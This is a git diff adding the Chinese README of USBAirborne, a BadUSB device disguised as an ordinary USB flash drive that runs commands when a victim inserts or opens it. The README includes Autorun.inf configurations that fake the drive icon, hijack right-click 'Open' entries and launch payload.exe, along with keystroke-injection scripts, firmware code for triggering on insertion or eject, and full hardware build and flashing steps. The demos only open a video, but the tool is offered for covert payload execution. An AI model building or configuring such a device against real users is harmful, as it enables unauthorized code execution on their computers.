|
| 1 | +# USBAirborne |
| 2 | + |
| 3 | +更高级的BadUSB |
| 4 | + |
| 5 | +------ |
| 6 | + |
| 7 | +[**中文**](https://github.com/Push3AX/USBAirborne/blob/main/readme_cn.md) | [English](https://github.com/Push3AX/USBAirborne/blob/main/readme.md) |
| 8 | + |
| 9 | +USBAirborne伪装成U盘,但当受害者将它插入电脑,它会执行指定的命令或程序。 |
| 10 | + |
| 11 | +- 支持BadUSB攻击、AutoRun攻击 |
| 12 | +- 内置4MB存储空间,可伪装为4G的U盘 |
| 13 | +- 低成本(约10元 / 个) |
| 14 | +- 标准G2板型,可装入常见U盘外壳 |
| 15 | + |
| 16 | +<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/1.png" style="zoom: 50%;" /> |
| 17 | + |
| 18 | + |
| 19 | + |
| 20 | +## Demo |
| 21 | + |
| 22 | +USBAirborne自带一个演示Demo: |
| 23 | + |
| 24 | +插入电脑后, USBAirborne显示为一个4G的U盘。 |
| 25 | + |
| 26 | +但在打开U盘时(包括双击打开、右键-打开、右键-在新窗口中打开),USBAirborne会自动打开浏览器播放Never Gonna Give You Up。 |
| 27 | + |
| 28 | +<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/autorun.gif"/> |
| 29 | + |
| 30 | +USBAirborne攻击行为的配置文件位于根目录下的Autorun.inf。 此处所使用的Autorun.inf如下: |
| 31 | + |
| 32 | +```ini |
| 33 | +[AutoRun] |
| 34 | +autoplay=true |
| 35 | + |
| 36 | +;将驱动器图标伪装为U盘图标 |
| 37 | +icon=c:\windows\system32\shell32.dll,79 |
| 38 | + |
| 39 | +;驱动器名称 |
| 40 | +label=Nothing inside |
| 41 | + |
| 42 | +;攻击Payload,此处为调用cmd打开网页 |
| 43 | +open=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX" |
| 44 | +run=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX" |
| 45 | + |
| 46 | +;劫持右键菜单 |
| 47 | +shell\open=打开(&O) |
| 48 | +shell\open\Command=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX" |
| 49 | +shell\opennewwindow=在新窗口中打开(&E) |
| 50 | +shell\opennewwindow\Command=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX" |
| 51 | +``` |
| 52 | + |
| 53 | + |
| 54 | + |
| 55 | +## 执行指定的程序 |
| 56 | + |
| 57 | +如果播放视频不够有趣,也可配置USBAirborne执行其他操作,例如运行指定程序。 |
| 58 | + |
| 59 | +首先,将USBAirborne的第一个开关打开,关闭攻击模式。 |
| 60 | + |
| 61 | +**只有在攻击模式关闭时,USBAirborne的根目录才可以写入文件。同时,攻击模式关闭时USBAirborne不会执行攻击内容。** |
| 62 | + |
| 63 | +<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/Switch_cn.png"/> |
| 64 | + |
| 65 | +修改USBAirborne根目录下的Autorun.inf可实现其它攻击行为。例如运行USBAirborne根目录下的payload.exe: |
| 66 | + |
| 67 | +```ini |
| 68 | +[AutoRun] |
| 69 | +autoplay=true |
| 70 | + |
| 71 | +;将驱动器图标伪装为U盘图标 |
| 72 | +icon=c:\windows\system32\shell32.dll,79 |
| 73 | + |
| 74 | +;驱动器名称 |
| 75 | +label=Nothing inside |
| 76 | + |
| 77 | +;攻击Payload,此处为运行根目录下的payload.exe |
| 78 | +open=payload.exe |
| 79 | +run=payload.exe |
| 80 | + |
| 81 | +;劫持右键菜单 |
| 82 | +shell\open=打开(&O) |
| 83 | +shell\open\Command=payload.exe |
| 84 | +shell\opennewwindow=在新窗口中打开(&E) |
| 85 | +shell\opennewwindow\Command=payload.exe |
| 86 | +``` |
| 87 | + |
| 88 | +<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/payload.gif"/> |
| 89 | + |
| 90 | + |
| 91 | + |
| 92 | +## BadUSB攻击 |
| 93 | + |
| 94 | +AutoRun攻击需要受害者打开U盘,如果需要更自动化,可以使用BadUSB。简而言之,BadUSB攻击通过模拟键盘的输入来执行操作。 |
| 95 | + |
| 96 | +(但BadUSB容易受到不同情况的影响,例如在锁屏或者启用中文输入法的状态,BadUSB攻击会失败) |
| 97 | + |
| 98 | +在Autorun.inf中添加两个[badusb],在其中编写键盘操作。 |
| 99 | + |
| 100 | +以下是一个简单的例子,通过模拟键盘按下Win+R键打开“运行”窗口,输入notepad打开记事本,并输入一些测试数据。 |
| 101 | + |
| 102 | +最后再次打开“运行”窗口,播放Never Gonna Give You Up。 |
| 103 | + |
| 104 | +```ini |
| 105 | +[BadUSB] |
| 106 | +[Win+R] |
| 107 | +[Delay][Delay] |
| 108 | +notepad[Enter] |
| 109 | +[Delay] |
| 110 | +Hi![Enter] |
| 111 | +This is a test of USBAirborne[Enter] |
| 112 | +[Win+R] |
| 113 | +[Delay] |
| 114 | +[Delay] |
| 115 | +https://www.bilibili.com/video/BV1uT4y1P7CX/ |
| 116 | +[Enter] |
| 117 | +[BadUSB] |
| 118 | + |
| 119 | +;后续是AutoRun攻击的配置文件。USBAirborne支持同时进行两种攻击。 |
| 120 | +[AutoRun] |
| 121 | +autoplay=true |
| 122 | + |
| 123 | +;将驱动器图标伪装为U盘图标 |
| 124 | +icon=c:\windows\system32\shell32.dll,79 |
| 125 | + |
| 126 | +;驱动器名称 |
| 127 | +label=Nothing inside |
| 128 | + |
| 129 | +;攻击Payload,此处为调用cmd打开网页 |
| 130 | +open=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX" |
| 131 | +run=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX" |
| 132 | + |
| 133 | +;劫持右键菜单 |
| 134 | +shell\open=打开(&O) |
| 135 | +shell\open\Command=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX" |
| 136 | +shell\opennewwindow=在新窗口中打开(&E) |
| 137 | +shell\opennewwindow\Command=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX" |
| 138 | +``` |
| 139 | + |
| 140 | +<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/badusb.gif"/> |
| 141 | + |
| 142 | + |
| 143 | + |
| 144 | +## 操作系统支持 |
| 145 | + |
| 146 | +- AutoRun攻击仅支持Windows系统,且要未完全禁止AutoRun。(Windows7及以上系统默认禁止常见设备开启AutoRun,但允许DRIVE_FIXED CD-ROM设备开启。相关的注册表项目请参考[维基百科](https://en.wikipedia.org/wiki/AutoRun#Registry_settings)) |
| 147 | + |
| 148 | +- BadUSB攻击理论上支持所有操作系统。但不同的操作系统接收的键盘输入并不一样。例如通过Win+R打开“运行”窗口仅在Windows下可用。 |
| 149 | + |
| 150 | + |
| 151 | + |
| 152 | +## 高级利用 |
| 153 | + |
| 154 | +### BadUSB高级命令 |
| 155 | + |
| 156 | +BadUSB的配置文件支持一些组合键和高级命令: |
| 157 | + |
| 158 | +1. [Enter]:按下回车键 |
| 159 | +2. [Shift]:按下Shift键 |
| 160 | +3. [Capslock]:切换大小写 |
| 161 | +4. [Win]:按下Win键 |
| 162 | +5. [Win+R]:打开“运行”窗口 |
| 163 | +6. [Alt+F4]:关闭当前窗口 |
| 164 | +7. [Win+D]:显示桌面 |
| 165 | +8. [Win+L]:锁定计算机 |
| 166 | +9. [Win+E]:打开Windows资源管理器 |
| 167 | +10. [Ctrl+Alt+Del]:打开安全选项 |
| 168 | +11. [Delay]:等待500毫秒 |
| 169 | +12. [Format]:格式化储存 |
| 170 | + |
| 171 | +### 编译固件 |
| 172 | + |
| 173 | +USBAirborne.uvproj目录下是USBAirborne的固件源代码。 |
| 174 | + |
| 175 | +编译需要Keil环境。在Keil安装完成后,打开[WCHISPTool](https://www.wch.cn/download/WCHISPTool_Setup_exe.html),点击 功能-添加WCH MCU到KEIL器件库。 |
| 176 | + |
| 177 | +<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/keil_cn.png"/> |
| 178 | + |
| 179 | +此时使用Keil打开USBAirborne.uvproj目录下的Project.uvproj,应当可以编译USBAirborne的固件。 |
| 180 | + |
| 181 | +### 更快执行BadUSB |
| 182 | + |
| 183 | +USBAirborne在执行BadUSB时需要从Flash中读取Payload,这一过程用时约4秒。如果希望更快地执行BadUSB,可以通过将Payload内置在固件中。 |
| 184 | + |
| 185 | +main.c中的BadUSBDemo()是一个Payload示例。修改ExecBadUSB为1,该Payload会被执行。 |
| 186 | + |
| 187 | +```c |
| 188 | +UINT8 ExecBadUSB = 1; |
| 189 | + |
| 190 | +void BadUSBDemo() |
| 191 | +{ |
| 192 | + UINT8 Payload[]="https://www.bilibili.com/video/BV1uT4y1P7CX\n"; |
| 193 | + mDelaymS(1000); |
| 194 | + SendKey(KB_LeftShift, KB_NULL); //切换输入法 |
| 195 | + mDelaymS(500); |
| 196 | + SendKey(KB_LeftGUI, KB_R); |
| 197 | + mDelaymS(500); |
| 198 | + SendString(Payload,sizeof(Payload)/sizeof(Payload[0])); |
| 199 | + mDelaymS(500); |
| 200 | +} |
| 201 | + |
| 202 | +void main(void) |
| 203 | +{ |
| 204 | + ... |
| 205 | + while(1) |
| 206 | + { |
| 207 | + if(ExecBadUSB == 1 && AttackEnabled == 1) |
| 208 | + { |
| 209 | + ExecBadUSB=0; |
| 210 | + BadUSBDemo(); |
| 211 | + } |
| 212 | + mDelaymS(100); |
| 213 | + } |
| 214 | + ... |
| 215 | +} |
| 216 | +``` |
| 217 | +
|
| 218 | +### 在其它时刻执行BadUSB |
| 219 | +
|
| 220 | +BadUSB一般会在USBAirborne插入计算机后立刻执行,如果你希望在其它时刻执行,可以通过在USB的不同UFI命令中将ExecBadUSB置1实现。 |
| 221 | +
|
| 222 | +例如,在USB.c的UFI_staStoUnit()中将ExecBadUSB置1,可以实现在USBAirborne被弹出时执行BadUSB Payload: |
| 223 | +
|
| 224 | +```c |
| 225 | +void UFI_staStoUnit(void) |
| 226 | +{ |
| 227 | + CH375BULKDOWN = 0; |
| 228 | + CH375BULKUP = 0; |
| 229 | + BcswStatus = 0; |
| 230 | + mSenseKey = 0; |
| 231 | + mASC = 0; |
| 232 | + ExecBadUSB=1; //添加此行 |
| 233 | +} |
| 234 | +``` |
| 235 | + |
| 236 | + |
| 237 | + |
| 238 | + |
| 239 | +## 制造指南 |
| 240 | + |
| 241 | +### 硬件设计 |
| 242 | + |
| 243 | +USBAirborne的硬件设计开源在OSHWHub,请移步至: |
| 244 | + |
| 245 | +https://oshwhub.com/PushEAX/3079905e2c434c54902d77ab60f6c747 |
| 246 | + |
| 247 | +### BOM与成本 |
| 248 | + |
| 249 | +| 元器件号 | 名称 | 封装类型 | 数量 | 总价(元) | |
| 250 | +| -------- | -------------- | ------------------- | ---- | ---------- | |
| 251 | +| C1,C4 | 10uF 电容 | C0603 | 2 | 0.1 | |
| 252 | +| C2,C3 | 100nF 电容 | C0603 | 2 | 0.1 | |
| 253 | +| R1,R2 | 22k 电阻 | R0603 | 2 | 0.1 | |
| 254 | +| SW1 | 2Pin开关 | | 1 | 2 | |
| 255 | +| U1 | CH552G | SOP-16_L10.0-W3.9 | 1 | 3.8 | |
| 256 | +| U2 | P25Q32H-SSH-IT | SOIC-8_L4.9-W3.9 | 1 | 2.2 | |
| 257 | +| USB1 | USB2.0-A-公头 | USB-A-TH_USB-A-F-90 | 1 | 0.4 | |
| 258 | + |
| 259 | +*备注:CH552G可以替换为CH551G、CH554G。P25Q32H可以被替换为其它W25Q兼容 SPI Flash,容量建议在4MB-16MB。* |
| 260 | + |
| 261 | +### 制造步骤 |
| 262 | + |
| 263 | +如果你希望自己制作USBAirborne,以下是简要步骤: |
| 264 | + |
| 265 | +1. 下载USBAirborne的[Gerber](https://raw.githubusercontent.com/Push3AX/USBAirborne/main/Hardware/Gerber_PCB1_2022-06-19.zip)文件,将其发送给PCB制造商生产。 |
| 266 | + |
| 267 | +2. 参照BOM章节,焊接各个元器件。 |
| 268 | + |
| 269 | +3. 将USBAirborne的第二个开关打开,进入烧录模式。 |
| 270 | + |
| 271 | +<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/Switch_cn.png"/> |
| 272 | + |
| 273 | +4. 在 [此处](https://raw.githubusercontent.com/Push3AX/USBAirborne/main/USBAirborne.uvproj/USBAirborne_2.1.hex)下载USBAirborne的固件。使用[WCHISPTool](https://www.wch.cn/download/WCHISPTool_Setup_exe.html)烧录固件。 |
| 274 | + |
| 275 | +<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/WCHISPTool_cn.png"/> |
| 276 | + |
| 277 | +5. 关闭烧录模式,打开读写模式,将Autorun.inf拷贝到USBAirborne根目录。 |
0 commit comments